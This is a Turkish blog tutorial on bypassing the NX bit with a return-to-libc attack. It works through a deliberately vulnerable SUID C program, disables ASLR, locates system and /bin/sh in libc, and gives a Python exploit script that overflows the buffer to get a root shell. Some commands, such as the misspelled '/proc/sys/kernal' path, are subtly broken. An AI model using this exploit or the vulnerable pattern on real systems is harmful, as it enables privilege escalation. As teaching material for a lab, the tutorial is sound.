Peki nedir bu "NX" diye soranları duyuyorum, isterseniz kısaca açıklayalım. Öncelikle Linux sistemlerde çalışma mantığı ve güvenlik konularında kısa bir bilginiz olması açısından ASLR ve SSP araştırmanızı öneriyorum [yakında bunlar hakkında da geniş bir pdf yazacağım] bununla beraber "NX BIT" açıklamak gerekirse şu şekilde anlatabiliriz;
"NX BIT" stack ve heap korumak amaçlı üretilmiş bir savunma sistemi olup stack diye tabir ettiğimiz programlarımızın çalışması için gerekli olan alanların güvenliğini sağlar açıklama ile mütevellit (non eXecutable) açılımı ile; yazarsın, okursun eyvallah ama çalıştırmaya çalışırsın sıkıntı büyük gibi bir açıklama yapabiliriz. Peki nasıl oluyor bu ? Şu şekilde siz bir programı derlediğinizde ki bu "gcc" ile bir "C" kodunu derlediğinizde program otomatik olarak bu önlemleri alıp ve program için ayrılmış olan ve bizimde işlem yapmamızı sağlayan stack'de bir flag eksiltir o da "eXecute" flag'dir. Bunu görsel olarak açıklamak gerekirse;
GNU_STACK SEKMESI RW yani okunabilir ve yazılabilir lakin çalıştırılamaz.(except x) |
Return-2-Libc mantığı taşıma suyla değirmeni döndürmeye benziyor, okuma ve yazma imkanı olan bir bölüme belirlenen offsetler dahilinde bir taşıma yapılarak Libc üstünde çalıştırma imkanı verildiğinde açık tetiklenmiş ve bu sayede "Privileges" yani account yetki yükseltmiş oluyor. Bu teknikte kısaca bahsedilmesi gereken bir kaç mevzudan da bahsedip sizi yapılanlarla başbaşa bırakmak istiyorum;
Öncelikle yazılımda kullanılan fonksiyonların çağrılmasıyla açık tetiklenir siz kafanıza göre şuradan ben bir printf şuradan bir puts diye açığı çağıramazsınız en nihayetinde yazılımın içinde ki fonksiyonlarla yazılımın stack bir çalışma söz konusu burada yazılımda da kullanılmış lakin protect edilmiş fonksiyonları bir nevi imece usulle çağırarak yazılımda ki açığı tetikliyoruz başlayalım.
/*bof.c*/#include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char buf[500]; printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return 0; }
#include <stdio.h>
$ cat "0" > /proc/sys/kernal/randomize_va_space // ASLR Etkisiz
$ gcc -fno-stack-protector -o bof bof.c
$ sudo chmod u+s bof // SUID
$ ls -la bof
$ -rwsr-xr-x 1 root root 7410 bof // read-write-suid-run(rwsr)
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00670 0x00670 R E 0x1000
LOAD 0x000f08 0x08049f08 0x08049f08 0x00120 0x00124 RW 0x1000
DYNAMIC 0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
GNU_EH_FRAME 0x00058c 0x0804858c 0x0804858c 0x0002c 0x0002c R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10
GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1
$ ldd bof
linux-gate.so.1 => (0xb7ffe000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e37000)
/lib/ld-linux.so.2 (0x80000000)
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "puts"203: 00065650 421 FUNC GLOBAL DEFAULT 12 _IO_puts@@GLIBC_2.0430: 00065650 421 FUNC WEAK DEFAULT 12 puts@@GLIBC_2.0
505: 000f1050 1032 FUNC GLOBAL DEFAULT 12 putspent@@GLIBC_2.0690: 000f2860 497 FUNC GLOBAL DEFAULT 12 putsgent@@GLIBC_2.101173: 000640a0 325 FUNC WEAK DEFAULT 12 fputs@@GLIBC_2.01721: 000640a0 325 FUNC GLOBAL DEFAULT 12 _IO_fputs@@GLIBC_2.02366: 00069710 151 FUNC GLOBAL DEFAULT 12 fputs_unlocked@@GLIBC_2.1
$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep "system"243: 00119240 73 FUNC GLOBAL DEFAULT 12 svcerr_systemerr@@GLIBC_2.0
620: 00040190 56 FUNC GLOBAL DEFAULT 12 __libc_system@@GLIBC_PRIVATE
1443: 00040190 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
$ strings -a -tx /lib/i386-linux-gnu/libc.so.6 | grep "sh$"
e412 inet6_opt_finish
f34e _IO_wdefault_finish
f932 _IO_fflush
117b5 _IO_file_finish
11ca3 bdflush
120e7 tcflush
12399 _IO_default_finish
15e0e5 Trailing backslash
15e5b8 sys/net/ash
160a24 /bin/sh
162988 /bin/csh
1ab831 .gnu.hash
$ gdb-peda$ i proc map // info process map -> uygulamarın çalışma alanı üzerinde ki harita bilgisiprocess 7248
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x8048000 0x8049000 0x1000 0x0 /home/bugger/les/bof
0x8049000 0x804a000 0x1000 0x0 /home/bugger/les/bof
0x804a000 0x804b000 0x1000 0x1000 /home/bugger/les/bof
0xb7e15000 0xb7e16000 0x1000 0x0
*0xb7e16000 0xb7fbe000 0x1a8000 0x0 /lib/i386-linux-gnu/libc-2.19.so
0xb7fbe000 0xb7fc0000 0x2000 0x1a8000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc0000 0xb7fc1000 0x1000 0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
0xb7fc1000 0xb7fc4000 0x3000 0x0
0xb7fd7000 0xb7fda000 0x3000 0x0
0xb7fda000 0xb7fdc000 0x2000 0x0 [vvar]
0xb7fdc000 0xb7fde000 0x2000 0x0 [vdso]
0xb7fde000 0xb7ffe000 0x20000 0x0 /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 0x1000 0x1f000 /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000 0x1000 0x20000 /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000 0x21000 0x0 [stack]
Hops ! Evet son admları atarken exploitation sekmesine geçebiliriz gerekli offsetler elimizde ve son bir dokunuş kalıyor;
#!/usr/bin/python
import sys
import struct
from subprocess import Popen
bufsize = int(sys.argv[1])
libc_base = int(sys.argv[2], 16)
puts = libc_base + 0x00065650
system = libc_base + 0x00040190
binsh = libc_base + 0x160a24
buf = 'A' * bufsize
buf += 'AAAA' * 3
buf += struct.pack('<I', puts)
buf += struct.pack('<I', system)
buf += struct.pack('<I', binsh)
buf += struct.pack('<I', binsh)
with open('buf', 'wb') as f:
f.write(buf)
p = Popen(['./bof', buf])
p.wait()
Woouhaa ! NX-BIT aşıldı ve root ekranına düşüldü işlemler burada biterken bir kaç hatırlatma ve izlenen yolları kullanılan kaynakları özellikle benimde bu yazıda çokca faydalandığım bir kaç kaynağı aşağıda bulabilirsiniz.
Neler Yaptık Böyle ?
Öncelikel belirlenen şartlarda karşımıza çıkan belirli şartlarda oluşturulmuş ve belirli güvenlik kurallarına sahip bir sistem koruyucusunu aştık öncelikle bunu tam manasıyla herkesin anlayacağı bir şekilde yazmaktan fayda var, ikinci olarak bu güvenlik sistemi aşılırken yazıda da ısrarla bahsettiğim gibi imece bir usul izlendi lakin exploitation ve kullanılan bu yol son derece modern şekilde işlendi öncelikle zaafiyet bulunan yazılımın içinde ki fonksiyon tespiti yapıldı ve bu fonksiyon aracılığıyla işlemler ilerletildi.- Yazılım sınandı
- Zaafiyet tespiti yapıldı
- Gerekli fonksiyonlar elde edildi
- Exploit yazıldı
- Ve sistemde yetki yükseltilerek sistem ele geçirildi.
Hoşçakalın
Kaynaklar:
https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/
http://inaz2.hatenablog.com/entry/2014/03/24/020347
https://en.wikipedia.org/wiki/NX_bit
https://wiki.gentoo.org/wiki/Hardened/GNU_stack_quickstart
https://www.bpak.org/blog/wp-content/uploads/1/1323932436.pdf
Thanks 4wfully:
0 yorum:
Yorum Gönder